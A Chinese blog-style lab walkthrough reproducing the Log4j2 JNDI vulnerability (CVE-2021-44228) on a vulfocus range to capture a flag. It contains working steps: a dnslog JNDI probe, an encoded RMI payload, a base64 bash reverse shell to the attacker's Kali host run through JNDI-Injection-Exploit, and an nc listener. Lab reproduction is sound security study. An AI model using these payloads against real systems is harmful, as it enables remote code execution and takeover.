log4j2 CVE-2021-44228漏洞复现

Log4j2是对log4j修改后的java日志框架,漏洞影响版本2.0-beta92.15.0

用的是log4j还是log4j2区分:

1>.Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar,而log4j j只有一个jar包log4j-${版本号}.jar。

2>.Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j

Jndi lookup根据传入的关键字查找支持的协议和服务,将payload一起打印到日志,jndi识别到ldap或rmi这些支持的协议后从服务器加载恶意代码,造成了代码执行漏洞。

利用vulfocus靶场,界面:

log4j2 CVE-2021-44228漏洞复现_第1张图片

测试url:http://192.168.221.129:13167/hello?payload=111

1.检测漏洞是否存在:dnslog平台点get sub,得到一个域名,拿他构造payload:

${jndi:ldap://2h9bw9.dnslog.cn},url编码后传入参数

log4j2 CVE-2021-44228漏洞复现_第2张图片

http://192.168.221.129:13167/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2F2h9bw9.dnslog.cn%7D 执行后,刷新dnglog 得到记录,证明漏洞存在

log4j2 CVE-2021-44228漏洞复现_第3张图片

Kali: 192.168.221.128

Centos7: 192.168.221.129

2.构造payload:bash -i >& /dev/tcp/192.168.221.128/6969 0>&1 ,ip是kali的,将此命令base64编码,得到 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMS4xMjgvNjk2OSAwPiYx

3.下载利用工具 GitHub - bkfish/Apache-Log4j-Learning: Apache-Log4j漏洞复现笔记,放到kali,需要jdk 1.8

Kali执行命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar  -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMS4xMjgvNjk2OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.221.128

log4j2 CVE-2021-44228漏洞复现_第4张图片

随意选择生成的一个rmi和ldap链接,构造payload:

${jndi: rmi://192.168.221.128:1099/xqtoti} ,将此payload进行url编码并带入漏洞url参数中,http://192.168.221.129:13167/hello?payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.221.128%3A1099%2Fxqtoti%7D

3.反弹shell

Kali开启监听:nc -lvvp 6969  (此端口要与第一步base64编码中的端口一致)

浏览器回车访问上步url编码的链接:

http://192.168.221.129:13167/hello?payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.221.128%

3A1099%2Fxqtoti%7D

此时kali中观察到反弹shell成功。并执行 ls /tmp 得到flag

log4j2 CVE-2021-44228漏洞复现_第5张图片

你可能感兴趣的:(漏洞复现,vulfocus,log4j2,log4j,安全)